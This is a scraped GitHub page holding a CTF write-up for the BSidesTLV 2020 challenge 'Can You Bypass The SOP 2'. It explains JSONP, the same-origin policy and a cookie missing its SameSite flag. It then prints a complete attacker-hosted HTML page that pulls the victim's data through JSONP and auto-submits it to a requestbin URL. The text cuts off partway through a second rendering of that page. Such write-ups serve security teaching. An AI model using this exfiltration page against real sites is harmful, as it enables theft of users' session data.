tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/trott4425/CTF-Writeups/refs" cache-key="v0:1593527773.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHJvdHQ0NDI1L0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/trott4425/CTF-Writeups/refs" cache-key="v0:1593527773.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHJvdHQ0NDI1L0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BSidesTLV-2020</span></span><span>/</span><span><span>web</span></span><span>/</span>Can You Bypass The SOP 2<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BSidesTLV-2020</span></span><span>/</span><span><span>web</span></span><span>/</span>Can You Bypass The SOP 2<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/trott4425/CTF-Writeups/tree-commit/d1339e79c3236b2a4b0803c2fb4cfc349134fb80/BSidesTLV-2020/web/Can%20You%20Bypass%20The%20SOP%202" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/trott4425/CTF-Writeups/file-list/master/BSidesTLV-2020/web/Can%20You%20Bypass%20The%20SOP%202"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ€Š.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>callback1.PNG</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>callback2.PNG</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.png</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>requestbin.PNG</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> </div> </div> </include-fragment> </div> <readme-toc> <div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="BSidesTLV-2020/web/Can You Bypass The SOP 2/README.MD" data-tagsearch-lang="Markdown"> <div class="d-flex js-sticky js-position-sticky top-0 border-top-0 border-bottom p-2 flex-items-center flex-justify-between color-bg-default rounded-top-2" style="position: sticky; z-index: 30;" > <div class="d-flex flex-items-center"> <details data-target="readme-toc.trigger" data-menu-hydro-click="{"event_type":"repository_toc_menu.click","payload":{"target":"trigger","repository_id":276119642,"originating_url":"https://github.com/trott4425/CTF-Writeups/tree/master/BSidesTLV-2020/web/Can%20You%20Bypass%20The%20SOP%202","user_id":null}}" data-menu-hydro-click-hmac="e87ebf304a32efcbd93d00383a71ffb07d9a5cb62bb41308bb7484a6c3c662fa" class="dropdown details-reset details-overlay"> <summary class="btn btn-octicon m-0 mr-2 p-2" aria-haspopup="true" aria-label="Table of Contents"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-list-unordered"> <path d="M5.75 2.5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5ZM2 14a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm1-6a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM2 4a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg> </summary> <details-menu class="SelectMenu" role="menu"> <div class="SelectMenu-modal rounded-3 mt-1" style="max-height:340px;"> <div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> Challenge Instructions Discovery Solution </div> </div> </details-menu></details> <h2 class="Box-title"> README.MD </h2> </div> </div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Challenge Instructions</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Hi Agent! Your mission is to exfiltrate data of our target, so we can catch him! Can you do it? URL: https://can-you-bypass-the-sop.ctf.bsidestlv.com/ BOT: https://can-you-bypass-the-sop.ctf.bsidestlv.com/bot">Hi Agent! Your mission is to exfiltrate data of our target, so we can catch him! Can you do it? URL: https://can-you-bypass-the-sop.ctf.bsidestlv.com/ BOT: https://can-you-bypass-the-sop.ctf.bsidestlv.com/bot</div><h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Discovery</h1>So the first thing that I realize is that we have a BOT url. Clicking on it brings us to a page with not much going on except for a textfield for a URL and a "Browse" button. From previous CTFs, this seemed like some sort of URL click bot that was running that would navigate to whatever URL was passed it. So to make sure, I fired up a request bin and passed in the URL to the bot. Sure enough, we get a hit.With this in mind and the fact that the challenge name uses the term SOP, we're likely looking for some XSS variation that we can store inside a link or a webpage that we can send to the BOT to gain any secrets that it may hold.After navigating to the main url, we're presented with a login page. We immediately see a "JOIN AS A GUEST" button. Clicking this grants us access to a welcome screen as a guest user. After being logged in as a guest, I noticed a JWT token added to my cookie storage in my browser, eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiZmxhZyI6IllvdSBhcmUgb24gdGhlIHJpZ2h0IHRyYWNrISIsImlhdCI6MTU5MzU1NjY3MX0.BOh06azgJcQFjPkzbYG4FnCUNsyfLniedmwXVgM9-0kDecoding the token, we get<div class="highlight highlight-source-json notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="{ "alg": "HS256", "typ": "JWT"} So the first thing that I realize is that we have a BOT url. Clicking on it brings us to a page with not much going on except for a textfield for a URL and a "Browse" button. From previous CTFs, this seemed like some sort of URL click bot that was running that would navigate to whatever URL was passed it. So to make sure, I fired up a request bin and passed in the URL to the bot. Sure enough, we get a hit. With this in mind and the fact that the challenge name uses the term SOP, we're likely looking for some XSS variation that we can store inside a link or a webpage that we can send to the BOT to gain any secrets that it may hold. After navigating to the main url, we're presented with a login page. We immediately see a "JOIN AS A GUEST" button. Clicking this grants us access to a welcome screen as a guest user. After being logged in as a guest, I noticed a JWT token added to my cookie storage in my browser, eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiZmxhZyI6IllvdSBhcmUgb24gdGhlIHJpZ2h0IHRyYWNrISIsImlhdCI6MTU5MzU1NjY3MX0.BOh06azgJcQFjPkzbYG4FnCUNsyfLniedmwXVgM9-0k Decoding the token, we get { "username": "Guest", "flag": "You are on the right track!", "iat": 1593556671}HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), 256 secret,) ">{ <span>"alg"</span>: <span><span>"</span>HS256<span>"</span></span>, <span>"typ"</span>: <span><span>"</span>JWT<span>"</span></span>} { <span>"username"</span>: <span><span>"</span>Guest<span>"</span></span>, <span>"flag"</span>: <span><span>"</span>You are on the right track!<span>"</span></span>, <span>"iat"</span>: <span>1593556671</span>}<span>HMACSHA256(</span> <span>base64UrlEncode(header) + "." +</span> <span>base64UrlEncode(payload),</span> <span>256</span> <span>secret,</span><span>) </span></div>Interesting, the payload in the JWT token has a flag field. Also, the SameSite security flag was not set on the cookie, which means the site looks to be vulnerable to CSRF. It seems likely that if we can come up with some type of XSS, the user who clicks on our link will have their credentials passed in, even if the link was not originally from the https://can-you-bypass-the-sop.ctf.bsidestlv.com site.Snooping some more, we find the application code in the main.js file https://can-you-bypass-the-sop.ctf.bsidestlv.com/js/main.js. This script file stores the JavaScript functions that are called when someone signs in or joins as a guest. The function we are particularly interested in is<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="function signIn() { let http = new XMLHttpRequest(); http.open('POST', 'signIn', true); http.setRequestHeader('Content-type', 'application/json'); http.onreadystatechange = function() {//Call a function when the state changes. if(http.readyState === 4 && http.status === 200) { $.ajax({ dataType: 'jsonp', jsonp: 'callback', url: '/FetchUserInfo?callback=?', success: function (data) { $("#login").html( `<span class="login100-form-title p-b-70">Welcome ${data.username}!</span> <span class="login100-form-avatar"> <img src="images/avatar-01.jpg" alt="AVATAR"></span> <div class="container-login100-form-btn" style="margin-top: 20px"> <button class="login100-form-btn" id="select_div_SIGNIN" onclick="signOut()"> Sign Out </button> </div>`); } }); } }; http.send(JSON.stringify({username: "Guest"}));}"><span>function</span> <span>signIn</span><span>(</span><span>)</span> <span>{</span> <span>let</span> <span>http</span> <span>=</span> <span>new</span> <span>XMLHttpRequest</span><span>(</span><span>)</span><span>;</span> <span>http</span><span>.</span><span>open</span><span>(</span><span>'POST'</span><span>,</span> <span>'signIn'</span><span>,</span> <span>true</span><span>)</span><span>;</span> <span>http</span><span>.</span><span>setRequestHeader</span><span>(</span><span>'Content-type'</span><span>,</span> <span>'application/json'</span><span>)</span><span>;</span> <span>http</span><span>.</span><span>onreadystatechange</span> <span>=</span> <span>function</span><span>(</span><span>)</span> <span>{</span><span>//Call a function when the state changes.</span> <span>if</span><span>(</span><span>http</span><span>.</span><span>readyState</span> <span>===</span> <span>4</span> <span>&&</span> <span>http</span><span>.</span><span>status</span> <span>===</span> <span>200</span><span>)</span> <span>{</span> <span>$</span><span>.</span><span>ajax</span><span>(</span><span>{</span> <span>dataType</span>: <span>'jsonp'</span><span>,</span> <span>jsonp</span>: <span>'callback'</span><span>,</span> <span>url</span>: <span>'/FetchUserInfo?callback=?'</span><span>,</span> <span>success</span>: <span>function</span> <span>(</span><span>data</span><span>)</span> <span>{</span> <span>$</span><span>(</span><span>"#login"</span><span>)</span><span>.</span><span>html</span><span>(</span> <span>`<span class="login100-form-title p-b-70">Welcome <span><span>${</span><span>data</span><span>.</span><span>username</span><span>}</span></span>!</span></span><span> <span class="login100-form-avatar"></span><span> <img src="images/avatar-01.jpg" alt="AVATAR"></span></span><span> <div class="container-login100-form-btn" style="margin-top: 20px"></span><span> <button class="login100-form-btn" id="select_div_SIGNIN" onclick="signOut()"></span><span> Sign Out</span><span> </button></span><span> </div>`</span><span>)</span><span>;</span> <span>}</span> <span>}</span><span>)</span><span>;</span> <span>}</span> <span>}</span><span>;</span> <span>http</span><span>.</span><span>send</span><span>(</span><span>JSON</span><span>.</span><span>stringify</span><span>(</span><span>{</span><span>username</span>: <span>"Guest"</span><span>}</span><span>)</span><span>)</span><span>;</span><span>}</span></div>Something that should catch your eye pretty quickly is the second AJAX request and its use of the jsonp data type. A little background on JSONP, it is a mechanism that REST endpoints employed to bypass the same-origin policy (SOP). The same-origin policy is a security mechanism that browsers and web sites use to ensure that scripts and resources that are loaded from one origin cannot access resources from another origin. This is why if you navigated to your browser's web console while on a website and start making AJAX calls to another website on a different domain, your browser would stop you, as it would be breaching the SOP.Some JSONP configurations allow you to define a callback parameter that is a function that is defined on the client side that when the request returns, it is automatically invoked and the code is executed. Navigating to the endpoint in question, we can see exactly what is happening. First by passing in callback=i_control_thisand now callback=with_whatever_I_wantHmm, the callback function is being passed the payload to our JWT token. This is the last piece to our puzzle! If we can create a function that will ingest the object being passed back to to the JSONP callback function, we can send it as a URL parameter to an endpoint that we control and log the results.Lets see what we can come up with!<h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h1>To put this all together we need 2 things.We need to set up a requestbin to catch our request that will have the stolen cookie. That is simple enough.To deploy the XSS, we need a way to host a web page. There are several services out there or you can use your own hosted website. I used repl.it, which allows you to spin up proof of concept code snippets incredibly quickly. Below is the index.html file that is served whenever someone lands on my custom hosted website.<div class="highlight highlight-text-html-basic notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="<!DOCTYPE html><html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <title>repl.it</title> <link href="style.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-1.8.2.min.js"></script> </head> <body> <form action="https://requestbin.net/r/w4xs0xw4" method="GET" > <input type="hidden" name="data" value="template" id="input" /> <script> $(document).ready(function(){ $.ajax({ dataType: 'jsonp', jsonp: 'callback', url: 'https://can-you-bypass-the-sop.ctf.bsidestlv.com/FetchUserInfo?callback=?', success: function (data) { /*let http = new XMLHttpRequest() http.open('POST', 'https://requestbin.net/r/w4xs0xw4', true); http.setRequestHeader('Content-type', 'application/json'); http.send(JSON.stringify(data));*/ var input = document.getElementById("input"); console.log(data); input.value = data.flag; document.forms[0].submit(); } }); }); </script> </body></html>"><span><!DOCTYPE html<span>></span></span><span><</span><span>html</span><span>></span> <span><</span><span>head</span><span>></span> <span><</span><span>meta</span> <span>charset</span>="<span>utf-8</span>"<span>></span> <span><</span><span>meta</span> <span>name</span>="<span>viewport</span>" <span>content</span>="<span>width=device-width</span>"<span>></span> <span><</span><span>title</span><span>></span>repl.it<span></</span><span>title</span><span>></span> <span><</span><span>link</span> <span>href</span>="<span>style.css</span>" <span>rel</span>="<span>stylesheet</span>" <span>type</span>="<span>text/css</span>" /> <span><</span><span>script</span> <span>src</span>="<span>https://code.jquery.com/jquery-1.8.2.min.js</span>"<span>></span><span></</span><span>script</span><span>></span> <span></</span><span>head</span><span>></span> <span><</span><span>body</span><span>></span> <span><</span><span>form</span> 